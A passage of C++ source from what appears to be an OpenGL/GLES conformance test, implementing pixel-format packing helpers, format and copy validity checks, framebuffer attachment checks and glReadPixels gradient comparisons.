m_unpackProperties.skipPixels + GRADIENT_WIDTH)) { float value = static_cast<float>(x - m_unpackProperties.skipPixels) / GRADIENT_WIDTH; int channel = i - elementsInGroup * x; value *= 1.0f - 0.25f * channel; data[index] = unpack(value); } else { data[index] = defaultValue; } index++; } } } } template <typename Type> Type RectangleTest::unpackSizedComponents(float value, int s1, int s2, int s3, int s4) { int typeBits = sizeof(Type) * 8; double v = static_cast<double>(value); Type c1 = static_cast<Type>(v * 1.00 * ((1 << s1) - 1)); Type c2 = static_cast<Type>(v * 0.75 * ((1 << s2) - 1)); Type c3 = static_cast<Type>(v * 0.50 * ((1 << s3) - 1)); Type c4 = static_cast<Type>(v * 0.25 * ((1 << s4) - 1)); return ((c1) << (typeBits - s1)) | ((c2) << (typeBits - s1 - s2)) | ((c3) << (typeBits - s1 - s2 - s3)) | ((c4) << (typeBits - s1 - s2 - s3 - s4)); } template <typename Type> Type RectangleTest::unpackSizedComponentsRev(float value, int s1, int s2, int s3, int s4) { int typeBits = sizeof(Type) * 8; double v = static_cast<double>(value); Type c1 = static_cast<Type>(v * 1.00 * ((1 << s4) - 1)); Type c2 = static_cast<Type>(v * 0.75 * ((1 << s3) - 1)); Type c3 = static_cast<Type>(v * 0.50 * ((1 << s2) - 1)); Type c4 = static_cast<Type>(v * 0.25 * ((1 << s1) - 1)); return ((c4) << (typeBits - s1)) | ((c3) << (typeBits - s1 - s2)) | ((c2) << (typeBits - s1 - s2 - s3)) | ((c1) << (typeBits - s1 - s2 - s3 - s4)); } GLubyte RectangleTest::unpack_UNSIGNED_BYTE(float value) { return static_cast<GLubyte>(value * std::numeric_limits<GLubyte>::max()); } GLbyte RectangleTest::unpack_BYTE(float value) { return static_cast<GLbyte>(value * std::numeric_limits<GLbyte>::max()); } GLushort RectangleTest::unpack_UNSIGNED_SHORT(float value) { return static_cast<GLushort>(value * std::numeric_limits<GLushort>::max()); } GLshort RectangleTest::unpack_SHORT(float value) { return static_cast<GLshort>(value * std::numeric_limits<GLshort>::max()); } GLuint RectangleTest::unpack_UNSIGNED_INT(float value) { return static_cast<GLuint>(value * std::numeric_limits<GLuint>::max()); } GLint RectangleTest::unpack_INT(float value) { return static_cast<GLint>(value * std::numeric_limits<GLint>::max()); } GLhalf RectangleTest::unpack_HALF_FLOAT(float value) { return floatToHalfFloat(value); } GLfloat RectangleTest::unpack_FLOAT(float value) { return value; } GLubyte RectangleTest::unpack_UNSIGNED_BYTE_3_3_2(float value) { return unpackSizedComponents<GLubyte>(value, 3, 3, 2, 0); } GLubyte RectangleTest::unpack_UNSIGNED_BYTE_2_3_3_REV(float value) { return unpackSizedComponentsRev<GLubyte>(value, 2, 3, 3, 0); } GLushort RectangleTest::unpack_UNSIGNED_SHORT_5_6_5_REV(float value) { return unpackSizedComponentsRev<GLushort>(value, 5, 6, 5, 0); } GLushort RectangleTest::unpack_UNSIGNED_SHORT_4_4_4_4_REV(float value) { return unpackSizedComponentsRev<GLushort>(value, 4, 4, 4, 4); } GLushort RectangleTest::unpack_UNSIGNED_SHORT_1_5_5_5_REV(float value) { return unpackSizedComponentsRev<GLushort>(value, 1, 5, 5, 5); } GLuint RectangleTest::unpack_UNSIGNED_INT_8_8_8_8(float value) { return unpackSizedComponents<GLuint>(value, 8, 8, 8, 8); } GLuint RectangleTest::unpack_UNSIGNED_INT_8_8_8_8_REV(float value) { return unpackSizedComponentsRev<GLuint>(value, 8, 8, 8, 8); } GLuint RectangleTest::unpack_UNSIGNED_INT_10_10_10_2(float value) { return unpackSizedComponents<GLuint>(value, 10, 10, 10, 2); } GLushort RectangleTest::unpack_UNSIGNED_SHORT_5_6_5(float value) { return unpackSizedComponents<GLushort>(value, 5, 6, 5, 0); } GLushort RectangleTest::unpack_UNSIGNED_SHORT_4_4_4_4(float value) { return unpackSizedComponents<GLushort>(value, 4, 4, 4, 4); } GLushort RectangleTest::unpack_UNSIGNED_SHORT_5_5_5_1(float value) { return unpackSizedComponents<GLushort>(value, 5, 5, 5, 1); } GLuint RectangleTest::unpack_UNSIGNED_INT_2_10_10_10_REV(float value) { return unpackSizedComponentsRev<GLuint>(value, 2, 10, 10, 10); } GLuint RectangleTest::unpack_UNSIGNED_INT_24_8(float value) { return unpackSizedComponents<GLuint>(value, 24, 8, 0, 0); } GLuint RectangleTest::unpack_UNSIGNED_INT_5_9_9_9_REV(float value) { const int N = 9; const int B = 15; const int E_max = 31; GLfloat red = value * 1.00f; GLfloat green = value * 0.75f; GLfloat blue = value * 0.50f; GLfloat sharedExpMax = (deFloatPow(2.0f, (float)N) - 1.0f) / deFloatPow(2.0f, (float)N) * deFloatPow(2.0f, (float)(E_max - B)); GLfloat red_c = deFloatMax(0, deFloatMin(sharedExpMax, red)); GLfloat green_c = deFloatMax(0, deFloatMin(sharedExpMax, green)); GLfloat blue_c = deFloatMax(0, deFloatMin(sharedExpMax, blue)); GLfloat max_c = deFloatMax(deFloatMax(red_c, green_c), blue_c); GLfloat exp_p = deFloatMax(-B - 1, deFloatFloor(deFloatLog2(max_c))) + 1 + B; GLfloat max_s = deFloatFloor(max_c / deFloatPow(2.0f, exp_p - (float)B - (float)N) + 0.5f); GLfloat exp_s; if (0 <= max_s && max_s < deFloatPow(2.0f, (float)N)) exp_s = exp_p; else exp_s = exp_p + 1; GLfloat red_s = deFloatFloor(red_c / deFloatPow(2.0f, exp_s - (float)B - (float)N) + 0.5f); GLfloat green_s = deFloatFloor(green_c / deFloatPow(2.0f, exp_s - (float)B - (float)N) + 0.5f); GLfloat blue_s = deFloatFloor(blue_c / deFloatPow(2.0f, exp_s - (float)B - (float)N) + 0.5f); GLuint c1 = (static_cast<GLuint>(red_s)) & 511; GLuint c2 = (static_cast<GLuint>(green_s)) & 511; GLuint c3 = (static_cast<GLuint>(blue_s)) & 511; GLuint c4 = (static_cast<GLuint>(exp_s)) & 31; return (c1) | (c2 << 9) | (c3 << 18) | (c4 << 27); } GLuint RectangleTest::unpack_UNSIGNED_INT_10F_11F_11F_REV(float value) { GLuint c1 = floatToUnisgnedF11(value * 1.00f); GLuint c2 = floatToUnisgnedF11(value * 0.75f); GLuint c3 = floatToUnisgnedF10(value * 0.50f); return (c3 << 22) | (c2 << 11) | (c1); } F_32_UINT_24_8_REV RectangleTest::unpack_FLOAT_32_UNSIGNED_INT_24_8_REV(float value) { F_32_UINT_24_8_REV ret; ret.d = value; ret.s = (GLuint)(value * 255.0 * 0.75); ret.s &= 0xff; return ret; } bool RectangleTest::isFormatValid(const PixelFormat& format, const PixelType& type, const struct InternalFormat& internalformat, bool checkInput, bool checkOutput, int operation) const { glu::RenderContext& renderContext = m_context.getRenderContext(); glu::ContextType contextType = renderContext.getType(); const glu::ContextInfo& contextInfo = m_context.getContextInfo(); const Functions& gl = renderContext.getFunctions(); int i; // Test the combination of input format, input type and internalFormat if (glu::isContextTypeES(contextType)) { if (checkInput) { // GLES30 has more restricted requirement on combination than GL for input for (i = 0; i < DE_LENGTH_OF_ARRAY(esValidFormats); ++i) { if (internalformat.sizedFormat == esValidFormats[i].internalformat && format.format == esValidFormats[i].format && type.type == esValidFormats[i].type) { break; } } if (i == DE_LENGTH_OF_ARRAY(esValidFormats)) { // Check for support of OES_texture_float extension if (((GL_LUMINANCE_ALPHA == format.format) && (GL_LUMINANCE_ALPHA == internalformat.sizedFormat)) || ((GL_LUMINANCE == format.format) && (GL_LUMINANCE == internalformat.sizedFormat)) || ((GL_ALPHA == format.format) && (GL_ALPHA == internalformat.sizedFormat)) || ((GL_RGBA == format.format) && (GL_RGBA == internalformat.sizedFormat)) || ((GL_RGB == format.format) && (GL_RGB == internalformat.sizedFormat))) { if ((contextInfo.isExtensionSupported("GL_OES_texture_float") && (GL_FLOAT == type.type)) || (contextInfo.isExtensionSupported("GL_OES_texture_half_float") && (GL_HALF_FLOAT_OES == type.type))) { return true; } } // Check for support of EXT_texture_type_2_10_10_10_REV extension if (((GL_RGBA == format.format) && (GL_RGBA == internalformat.sizedFormat)) || ((GL_RGB == format.format) && (GL_RGB == internalformat.sizedFormat))) { if (contextInfo.isExtensionSupported("GL_EXT_texture_type_2_10_10_10_REV") && ((GL_UNSIGNED_INT_2_10_10_10_REV_EXT == type.type))) return true; } // Check for support of NV_packed_float extension if ((GL_RGB == format.format) && (GL_RGB == internalformat.sizedFormat)) { if (contextInfo.isExtensionSupported("GL_NV_packed_float") && ((GL_UNSIGNED_INT_10F_11F_11F_REV == type.type))) return true; } // Check for support of EXT_texture_type_2_10_10_10_REV and GL_OES_required_internalformat extensions if (contextInfo.isExtensionSupported("GL_EXT_texture_type_2_10_10_10_REV") && contextInfo.isExtensionSupported("GL_OES_required_internalformat")) { for (i = 0; i < DE_LENGTH_OF_ARRAY(validformats_OES_required_internalformat); ++i) { if (internalformat.sizedFormat == validformats_OES_required_internalformat[i].internalformat && format.format == validformats_OES_required_internalformat[i].format && type.type == validformats_OES_required_internalformat[i].type) { return true; } } } return false; } if ((m_textureTarget == GL_TEXTURE_3D) && ((format.format == GL_DEPTH_COMPONENT) || (format.format == GL_DEPTH_STENCIL))) return false; } else if (checkOutput) { // GLES30 has more restricted requirement on combination than GL for output // As stated in Section Reading Pixels InternalFormatSamplerType sampler = internalformat.sampler; const PixelFormat& inputFormat = getPixelFormat(internalformat.format); if (inputFormat.attachment == GL_DEPTH_ATTACHMENT && contextInfo.isExtensionSupported("GL_NV_read_depth") && format.format == GL_DEPTH_COMPONENT && ((sampler == SAMPLER_FLOAT && type.type == GL_FLOAT) || (sampler != SAMPLER_FLOAT && (type.type == GL_UNSIGNED_SHORT || type.type == GL_UNSIGNED_INT || type.type == GL_UNSIGNED_INT_24_8)))) { return true; } if (inputFormat.attachment == GL_DEPTH_STENCIL_ATTACHMENT && contextInfo.isExtensionSupported("GL_NV_read_depth_stencil") && ((format.format == GL_DEPTH_STENCIL && ((sampler == SAMPLER_FLOAT && type.type == GL_FLOAT_32_UNSIGNED_INT_24_8_REV) || (sampler != SAMPLER_FLOAT && type.type == GL_UNSIGNED_INT_24_8))) || (format.format == GL_DEPTH_COMPONENT && ((sampler == SAMPLER_FLOAT && type.type == GL_FLOAT) || (sampler != SAMPLER_FLOAT && (type.type == GL_UNSIGNED_SHORT || type.type == GL_UNSIGNED_INT || type.type == GL_UNSIGNED_INT_24_8)))))) { return true; } if (inputFormat.attachment != GL_COLOR_ATTACHMENT0) { return false; } if ((sampler == SAMPLER_UNORM) && (((type.type == GL_UNSIGNED_BYTE) && (format.format == GL_RGB) && (internalformat.sizedFormat == GL_SRGB8)) || ((type.type == GL_UNSIGNED_BYTE) && (format.format == GL_RGBA) && (internalformat.sizedFormat == GL_SRGB8_ALPHA8))) && contextInfo.isExtensionSupported("GL_NV_sRGB_formats")) { return true; } if ((sampler == SAMPLER_NORM) && (type.type == GL_UNSIGNED_BYTE) && (format.format == GL_RGBA) && ((internalformat.sizedFormat == GL_R8_SNORM) || (internalformat.sizedFormat == GL_RG8_SNORM) || (internalformat.sizedFormat == GL_RGBA8_SNORM) || (internalformat.sizedFormat == GL_R16_SNORM) || (internalformat.sizedFormat == GL_RG16_SNORM) || (internalformat.sizedFormat == GL_RGBA16_SNORM)) && contextInfo.isExtensionSupported("GL_EXT_render_snorm")) { return true; } if ((sampler == SAMPLER_NORM) && (type.type == GL_BYTE) && (format.format == GL_RGBA) && ((internalformat.sizedFormat == GL_R8_SNORM) || (internalformat.sizedFormat == GL_RG8_SNORM) || (internalformat.sizedFormat == GL_RGBA8_SNORM)) && contextInfo.isExtensionSupported("GL_EXT_render_snorm")) { return true; } GLint implementType; GLint implementFormat; gl.getIntegerv(GL_IMPLEMENTATION_COLOR_READ_TYPE, &implementType); gl.getIntegerv(GL_IMPLEMENTATION_COLOR_READ_FORMAT, &implementFormat); GLenum err = gl.getError(); GLenum implementTypeEnum = static_cast<GLenum>(implementType); GLenum implementFormatEnum = static_cast<GLenum>(implementFormat); if (((sampler == SAMPLER_UNORM) && (type.type == GL_UNSIGNED_BYTE) && (format.format == GL_RGBA)) || ((sampler == SAMPLER_UINT) && (type.type == GL_UNSIGNED_INT) && (format.format == GL_RGBA_INTEGER)) || ((sampler == SAMPLER_INT) && (type.type == GL_INT) && (format.format == GL_RGBA_INTEGER)) || ((sampler == SAMPLER_FLOAT) && (type.type == GL_FLOAT) && (format.format == GL_RGBA)) || ((err == GL_NO_ERROR) && (type.type == implementTypeEnum) && (format.format == implementFormatEnum)) || ((internalformat.sizedFormat == GL_RGB10_A2) && (type.type == GL_UNSIGNED_INT_2_10_10_10_REV) && (format.format == GL_RGBA))) { return true; } else { return false; } } } else { if (format.format == GL_DEPTH_STENCIL) { if (type.type != GL_UNSIGNED_INT_24_8 && type.type != GL_FLOAT_32_UNSIGNED_INT_24_8_REV) { return false; } } if ((format.componentFormat == FORMAT_COLOR_INTEGER) && (type.type == GL_FLOAT || type.type == GL_HALF_FLOAT)) { return false; } if ((internalformat.baseFormat == GL_DEPTH_STENCIL || internalformat.baseFormat == GL_STENCIL_INDEX || internalformat.baseFormat == GL_DEPTH_COMPONENT) != (format.format == GL_DEPTH_STENCIL || format.format == GL_STENCIL_INDEX || format.format == GL_DEPTH_COMPONENT)) { return false; } if (operation == INPUT_TEXIMAGE) { if (format.format == GL_STENCIL_INDEX || internalformat.baseFormat == GL_STENCIL_INDEX) { return false; } if ((format.format == GL_DEPTH_COMPONENT || format.format == GL_DEPTH_STENCIL) && !(internalformat.baseFormat == GL_DEPTH_STENCIL || internalformat.baseFormat == GL_DEPTH_COMPONENT)) { return false; } } else if (operation == OUTPUT_GETTEXIMAGE) { if ((format.format == GL_STENCIL_INDEX && ((internalformat.baseFormat != GL_STENCIL_INDEX && internalformat.baseFormat != GL_DEPTH_STENCIL) || !contextInfo.isExtensionSupported("GL_ARB_texture_stencil8")))) { return false; } if (format.format == GL_DEPTH_STENCIL && internalformat.baseFormat != GL_DEPTH_STENCIL) { return false; } } else if (operation == OUTPUT_READPIXELS) { if (format.format == GL_DEPTH_STENCIL && internalformat.baseFormat != GL_DEPTH_STENCIL) { return false; } if (format.format == GL_DEPTH_COMPONENT && internalformat.baseFormat != GL_DEPTH_STENCIL && internalformat.baseFormat != GL_DEPTH_COMPONENT) { return false; } if (format.format == GL_STENCIL_INDEX && internalformat.baseFormat != GL_DEPTH_STENCIL && internalformat.baseFormat != GL_STENCIL_INDEX) { return false; } } if (type.special == true) { bool valid = false; for (i = 0; i < DE_LENGTH_OF_ARRAY(coreValidFormats); ++i) { if (coreValidFormats[i].format == format.format && coreValidFormats[i].type == type.type) { valid = true; break; } } if (!valid) return false; } if ((format.componentFormat == FORMAT_COLOR_INTEGER) && !(internalformat.sampler == SAMPLER_INT || internalformat.sampler == SAMPLER_UINT)) { return false; } if (!(format.componentFormat == FORMAT_COLOR_INTEGER) && (internalformat.sampler == SAMPLER_INT || internalformat.sampler == SAMPLER_UINT)) { return false; } if ((m_textureTarget == GL_TEXTURE_3D) && ((internalformat.baseFormat == GL_DEPTH_COMPONENT) || (internalformat.baseFormat == GL_DEPTH_STENCIL) || (internalformat.sizedFormat == GL_COMPRESSED_RED_RGTC1) || (internalformat.sizedFormat == GL_COMPRESSED_SIGNED_RED_RGTC1) || (internalformat.sizedFormat == GL_COMPRESSED_RG_RGTC2) || (internalformat.sizedFormat == GL_COMPRESSED_SIGNED_RG_RGTC2))) { return false; } } return true; } bool RectangleTest::isUnsizedFormat(GLenum format) const { GLenum formats[] = { GL_RGBA, GL_RGB, GL_LUMINANCE, GL_LUMINANCE_ALPHA, GL_ALPHA }; GLenum* formatsEnd = formats + DE_LENGTH_OF_ARRAY(formats); return (std::find(formats, formatsEnd, format) < formatsEnd); } bool RectangleTest::isSRGBFormat(const InternalFormat& internalFormat) const { return (internalFormat.sizedFormat == GL_SRGB8) || (internalFormat.sizedFormat == GL_SRGB8_ALPHA8); } bool RectangleTest::isSNORMFormat(const InternalFormat& internalFormat) const { GLenum formats[] = { GL_R8_SNORM, GL_RG8_SNORM, GL_RGB8_SNORM, GL_RGBA8_SNORM, GL_R16_SNORM, GL_RG16_SNORM, GL_RGB16_SNORM, GL_RGBA16_SNORM }; GLenum* formatsEnd = formats + DE_LENGTH_OF_ARRAY(formats); return (std::find(formats, formatsEnd, internalFormat.sizedFormat) < formatsEnd); } bool RectangleTest::isCopyValid(const InternalFormat& copyInternalFormat, const InternalFormat& internalFormat) const { // check if copy between two internal formats is allowed int b1 = getPixelFormat(internalFormat.format).components; int b2 = getPixelFormat(copyInternalFormat.format).components; if (b2 > b1) return false; //Check that the types can be converted in CopyTexImage. if (((copyInternalFormat.sampler == SAMPLER_UINT) && (internalFormat.sampler != SAMPLER_UINT)) || ((copyInternalFormat.sampler == SAMPLER_INT) && (internalFormat.sampler != SAMPLER_INT)) || (((copyInternalFormat.sampler == SAMPLER_FLOAT) || (internalFormat.sampler == SAMPLER_UNORM) || (copyInternalFormat.sampler == SAMPLER_NORM)) && (!((copyInternalFormat.sampler == SAMPLER_FLOAT) || (internalFormat.sampler == SAMPLER_UNORM) || (internalFormat.sampler == SAMPLER_NORM))))) { return false; } // Core GL is less restricted then ES - check it first if (!glu::isContextTypeES(m_context.getRenderContext().getType())) { if ((copyInternalFormat.format == GL_DEPTH_COMPONENT && internalFormat.format != GL_DEPTH_COMPONENT) || (copyInternalFormat.format == GL_DEPTH_STENCIL && internalFormat.format != GL_DEPTH_STENCIL) || (copyInternalFormat.format == GL_ALPHA && internalFormat.format != GL_ALPHA) || (copyInternalFormat.format == GL_LUMINANCE && internalFormat.format != GL_LUMINANCE) || (copyInternalFormat.format == GL_LUMINANCE_ALPHA && internalFormat.format != GL_LUMINANCE_ALPHA)) { return false; } return true; } const glu::ContextInfo& contextInfo = m_context.getContextInfo(); // GLES30 has more restricted requirement on glCopyTexImage2D // As stated in Table 3.15 and comment to glCopyTexImage2D if ((internalFormat.baseFormat == GL_DEPTH_COMPONENT) || (internalFormat.baseFormat == GL_DEPTH_STENCIL) || (copyInternalFormat.baseFormat == GL_DEPTH_COMPONENT) || (copyInternalFormat.baseFormat == GL_DEPTH_STENCIL) || ((internalFormat.baseFormat != GL_RGBA && internalFormat.baseFormat != GL_ALPHA) && ((copyInternalFormat.baseFormat == GL_ALPHA) || (copyInternalFormat.baseFormat == GL_LUMINANCE_ALPHA))) || ((internalFormat.baseFormat == GL_ALPHA) && ((copyInternalFormat.baseFormat != GL_RGBA) && (copyInternalFormat.baseFormat != GL_ALPHA) && (copyInternalFormat.baseFormat != GL_LUMINANCE_ALPHA))) || (isSRGBFormat(internalFormat) != isSRGBFormat(copyInternalFormat)) || // GLES30 does not define ReadPixels types for signed normalized fixed point formats in Table 3.14, // and conversions to SNORM internalformats are not allowed by Table 3.2 (copyInternalFormat.sampler == SAMPLER_NORM) || ((copyInternalFormat.sizedFormat == GL_RGB9_E5) && !contextInfo.isExtensionSupported("GL_APPLE_color_buffer_packed_float"))) { /* Some formats are activated by extensions, check. */ if (((internalFormat.baseFormat == GL_LUMINANCE && copyInternalFormat.baseFormat == GL_LUMINANCE) || (internalFormat.baseFormat == GL_ALPHA && copyInternalFormat.baseFormat == GL_ALPHA) || (internalFormat.baseFormat == GL_LUMINANCE_ALPHA && (copyInternalFormat.baseFormat == GL_LUMINANCE_ALPHA || copyInternalFormat.baseFormat == GL_LUMINANCE || copyInternalFormat.baseFormat == GL_ALPHA))) && contextInfo.isExtensionSupported("GL_NV_render_luminance_alpha")) { return true; } else if (contextInfo.isExtensionSupported("GL_EXT_render_snorm") && isSNORMFormat(copyInternalFormat) && (internalFormat.sampler == copyInternalFormat.sampler) && (((copyInternalFormat.baseFormat == GL_RED) && (internalFormat.baseFormat == GL_RED || internalFormat.baseFormat == GL_RG || internalFormat.baseFormat == GL_RGB || internalFormat.baseFormat == GL_RGBA || copyInternalFormat.baseFormat == GL_LUMINANCE)) || ((copyInternalFormat.baseFormat == GL_RG) && (internalFormat.baseFormat == GL_RG || internalFormat.baseFormat == GL_RGB || internalFormat.baseFormat == GL_RGBA)) || ((copyInternalFormat.baseFormat == GL_RGB) && (internalFormat.baseFormat == GL_RGB || internalFormat.baseFormat == GL_RGBA)) || ((copyInternalFormat.baseFormat == GL_RGBA) && (internalFormat.baseFormat == GL_RGBA)))) { return true; } return false; } else { if (internalFormat.sampler != copyInternalFormat.sampler) { // You can't convert between different base types, for example NORM<->FLOAT. return false; } if (!isUnsizedFormat(copyInternalFormat.sizedFormat)) { if ((internalFormat.bits.bits.red && copyInternalFormat.bits.bits.red && internalFormat.bits.bits.red != copyInternalFormat.bits.bits.red) || (internalFormat.bits.bits.green && copyInternalFormat.bits.bits.green && internalFormat.bits.bits.green != copyInternalFormat.bits.bits.green) || (internalFormat.bits.bits.blue && copyInternalFormat.bits.bits.blue && internalFormat.bits.bits.blue != copyInternalFormat.bits.bits.blue) || (internalFormat.bits.bits.alpha && copyInternalFormat.bits.bits.alpha && internalFormat.bits.bits.alpha != copyInternalFormat.bits.bits.alpha)) { // If the destination internalFormat is sized we don't allow component size changes. return false; } } else { if (internalFormat.sizedFormat == GL_RGB10_A2) { // Not allowed to convert from a GL_RGB10_A2 surface. return false; } } } return true; } bool RectangleTest::isFBOImageAttachValid(const InternalFormat& internalformat, GLenum format, GLenum type) const { const glu::ContextInfo& contextInfo = m_context.getContextInfo(); if (glu::isContextTypeES(m_context.getRenderContext().getType())) { const EnumFormats* validFormat = getCanonicalFormat(internalformat, format, type); if (validFormat != 0) { if (!validFormat->bRenderable) { /* Some formats are activated by extensions, check. */ if ((GL_RGBA32F == validFormat->internalformat || GL_RGBA16F == validFormat->internalformat || GL_RG32F == validFormat->internalformat || GL_RG16F == validFormat->internalformat || GL_R32F == validFormat->internalformat || GL_R16F == validFormat->internalformat || GL_R11F_G11F_B10F == validFormat->internalformat) && contextInfo.isExtensionSupported("GL_EXT_color_buffer_float")) { return true; } if ((GL_RGBA16F == validFormat->internalformat || GL_RGB16F == validFormat->internalformat || GL_RG16F == validFormat->internalformat || GL_R16F == validFormat->internalformat) && contextInfo.isExtensionSupported("GL_EXT_color_buffer_half_float")) { return true; } if ((GL_R11F_G11F_B10F == validFormat->internalformat || GL_RGB9_E5 == validFormat->internalformat) && contextInfo.isExtensionSupported("GL_APPLE_color_buffer_packed_float")) { return true; } if ((GL_LUMINANCE == validFormat->internalformat || GL_ALPHA == validFormat->internalformat || GL_LUMINANCE_ALPHA == validFormat->internalformat) && contextInfo.isExtensionSupported("GL_NV_render_luminance_alpha")) { return true; } if ((GL_SRGB8 == validFormat->internalformat) && contextInfo.isExtensionSupported("GL_NV_sRGB_formats")) { return true; } if (((GL_R8_SNORM == validFormat->internalformat) || (GL_RG8_SNORM == validFormat->internalformat) || (GL_RGBA8_SNORM == validFormat->internalformat) || (GL_R16_SNORM == validFormat->internalformat) || (GL_RG16_SNORM == validFormat->internalformat) || (GL_RGBA16_SNORM == validFormat->internalformat)) && contextInfo.isExtensionSupported("GL_EXT_render_snorm")) { return true; } } return validFormat->bRenderable; } else { // Check for NV_packed_float if (GL_RGB == internalformat.sizedFormat && GL_RGB == format && GL_UNSIGNED_INT_10F_11F_11F_REV == type && contextInfo.isExtensionSupported("GL_NV_packed_float")) { return true; } return false; } } else { if (format == GL_DEPTH_STENCIL && internalformat.sizedFormat != GL_DEPTH24_STENCIL8 && internalformat.sizedFormat != GL_DEPTH32F_STENCIL8) { // We can't make a complete DEPTH_STENCIL attachment with a // texture that does not have both DEPTH and STENCIL components. return false; } GLenum colorRenderableFrmats[] = { GL_RGBA32F, GL_RGBA32I, GL_RGBA32UI, GL_RGBA16, GL_RGBA16F, GL_RGBA16I, GL_RGBA16UI, GL_RGBA8, GL_RGBA8I, GL_RGBA8UI, GL_SRGB8_ALPHA8, GL_RGB10_A2, GL_RGB10_A2UI, GL_RGB5_A1, GL_RGBA4, GL_R11F_G11F_B10F, GL_RGB565, GL_RG32F, GL_RG32I, GL_RG32UI, GL_RG16, GL_RG16F, GL_RG16I, GL_RG16UI, GL_RG8, GL_RG8I, GL_RG8UI, GL_R32F, GL_R32I, GL_R32UI, GL_R16F, GL_R16I, GL_R16UI, GL_R16, GL_R8, GL_R8I, GL_R8UI }; GLenum* formatsEnd = colorRenderableFrmats + DE_LENGTH_OF_ARRAY(colorRenderableFrmats); if (std::find(colorRenderableFrmats, formatsEnd, internalformat.sizedFormat) < formatsEnd) return true; GLenum dsRenderableFormats[] = { GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT24, GL_DEPTH_COMPONENT16, GL_DEPTH32F_STENCIL8, GL_DEPTH24_STENCIL8, }; formatsEnd = dsRenderableFormats + DE_LENGTH_OF_ARRAY(dsRenderableFormats); if (std::find(dsRenderableFormats, formatsEnd, internalformat.sizedFormat) < formatsEnd) return true; return false; } } bool RectangleTest::doRead(GLuint texture) { glu::RenderContext& renderContext = m_context.getRenderContext(); const Functions& gl = renderContext.getFunctions(); GLuint fboId; gl.genFramebuffers(1, &fboId); gl.bindFramebuffer(GL_FRAMEBUFFER, fboId); GLU_EXPECT_NO_ERROR(gl.getError(), "glBindFramebuffer"); bool validImageAttach = isFBOImageAttachValid(m_internalFormat, m_inputFormat.format, m_inputType.type); if (m_textureTarget == GL_TEXTURE_2D) gl.framebufferTexture2D(GL_FRAMEBUFFER, m_inputFormat.attachment, GL_TEXTURE_2D, texture, 0); else if (glu::isContextTypeES(renderContext.getType())) gl.framebufferTextureLayer(GL_FRAMEBUFFER, m_inputFormat.attachment, texture, 0, 0); else gl.framebufferTexture3D(GL_FRAMEBUFFER, m_inputFormat.attachment, GL_TEXTURE_3D, texture, 0, 0); GLenum status = gl.checkFramebufferStatus(GL_FRAMEBUFFER); bool result = true; if (status == GL_FRAMEBUFFER_COMPLETE) { if (!validImageAttach && glu::isContextTypeES(renderContext.getType())) { m_testCtx.getLog() << tcu::TestLog::Message << "FBO is complete but expected incomplete with sizedFormat: " << getFormatStr(m_internalFormat.sizedFormat) << tcu::TestLog::EndMessage; result = false; } else { result &= readPixels(false); result &= doCopy(); } } else if (validImageAttach) { m_testCtx.getLog() << tcu::TestLog::Message << "FBO is not complete but expected complete with sizedFormat: " << getFormatStr(m_internalFormat.sizedFormat) << tcu::TestLog::EndMessage; result = false; } gl.deleteFramebuffers(1, &fboId); return result; } bool RectangleTest::readPixels(bool isCopy) { bool result = true; const PixelType* types; int typesCount; const PixelFormat* formats; int formatsCount; if (glu::isContextTypeES(m_context.getRenderContext().getType())) { types = esTypes; typesCount = DE_LENGTH_OF_ARRAY(esTypes); formats = esFormats; formatsCount = DE_LENGTH_OF_ARRAY(esFormats); } else { types = coreTypes; typesCount = DE_LENGTH_OF_ARRAY(coreTypes); formats = coreFormats; formatsCount = DE_LENGTH_OF_ARRAY(coreFormats); } // for each output format for (int m = 0; m < formatsCount; ++m) { const PixelFormat& outputFormat = formats[m]; // for each output type for (int n = 0; n < typesCount; ++n) { const PixelType& outputType = types[n]; if (isCopy) { // continue when input format,type != canonical format,type and // output format,type != canonical format,type if ((outputFormat.format != m_copyInternalFormat.format || outputType.type != m_copyInternalFormat.type)) { // invalid output format and type - skipping case continue; } } else if ((m_inputFormat.format != m_internalFormat.format || m_inputType.type != m_internalFormat.type) && (outputFormat.format != m_internalFormat.format || outputType.type != m_internalFormat.type)) { // invalid output format and type - skipping case continue; } result &= readPixelsInner(outputFormat, outputType, isCopy); } } return result; } bool RectangleTest::readPixelsInner(const PixelFormat& outputFormat, const PixelType& outputType, bool isCopy) { const char* copyStage = "Copy stage: "; GLenum readerror = readOutputData(outputFormat, outputType, OUTPUT_READPIXELS); if (m_outputBuffer.empty()) { m_testCtx.getLog() << tcu::TestLog::Message << "No buffer allocated" << tcu::TestLog::EndMessage; return false; } m_countReadPixels++; // Check if output format is valid bool outputFormatValid = isFormatValid(outputFormat, outputType, isCopy ? m_copyInternalFormat : m_internalFormat, false, true, OUTPUT_READPIXELS); // Even if this is a valid glReadPixels format, we can't read non-existant components if (outputFormatValid && outputFormat.format == GL_DEPTH_STENCIL && m_inputFormat.format != GL_DEPTH_STENCIL) outputFormatValid = false; if (outputFormatValid) { if (readerror != GL_NO_ERROR) { m_testCtx.getLog() << tcu::TestLog::Message << (isCopy ? copyStage : "") << "Valid format used but glReadPixels failed for input = [" << getFormatStr(m_inputFormat.format) << ", " << getTypeStr(m_inputType.type) << "] output = [" << getFormatStr(outputFormat.format) << ", " << getTypeStr(outputType.type) << "]" << tcu::TestLog::EndMessage; return false; } else { m_countReadPixelsOK++; m_countCompare++; // compare output gradient to input gradient if (!compare(&m_gradient[0], &m_outputBuffer[0], outputFormat, outputType, isCopy)) { m_testCtx.getLog() << tcu::TestLog::Message << (isCopy ? copyStage : "") << "Gradient comparison failed during ReadPixels for input = [" << getFormatStr(m_inputFormat.format) << ", " << getTypeStr(m_inputType.type) << "] output = [" << getFormatStr(outputFormat.format) << ", " << getTypeStr(outputType.type) << "]" << tcu::TestLog::EndMessage; return false; } m_countCompareOK++; } } else if (readerror == GL_NO_ERROR) { m_testCtx.getLog() << tcu::TestLog::Message << (isCopy ? copyStage : "") << "Invalid format used but glReadPixels succeeded for input = [" << getFormatStr(m_inputFormat.format) << ", " << getTypeStr(m_inputType.type) << "] output = [" << getFormatStr(outputFormat.format) << ", " << getTypeStr(outputType.type) << "]" << tcu::TestLog::EndMessage; return false; } return true; } GLenum RectangleTest::readOutputData(const PixelFormat& outputFormat, const PixelType& outputType, int operation) { // If using PBOs buffer object for GL_PIXEL_PACK_BUFFER must // be bound and not allocated before calling when using PBOs glu::RenderContext& renderContext = m_context.getRenderContext(); const Functions& gl = renderContext.getFunctions(); PackedPixelsBufferProperties& props = m_packProperties; props.elementSize = outputType.size; props.elementsInGroup = outputType.special ? 1 : 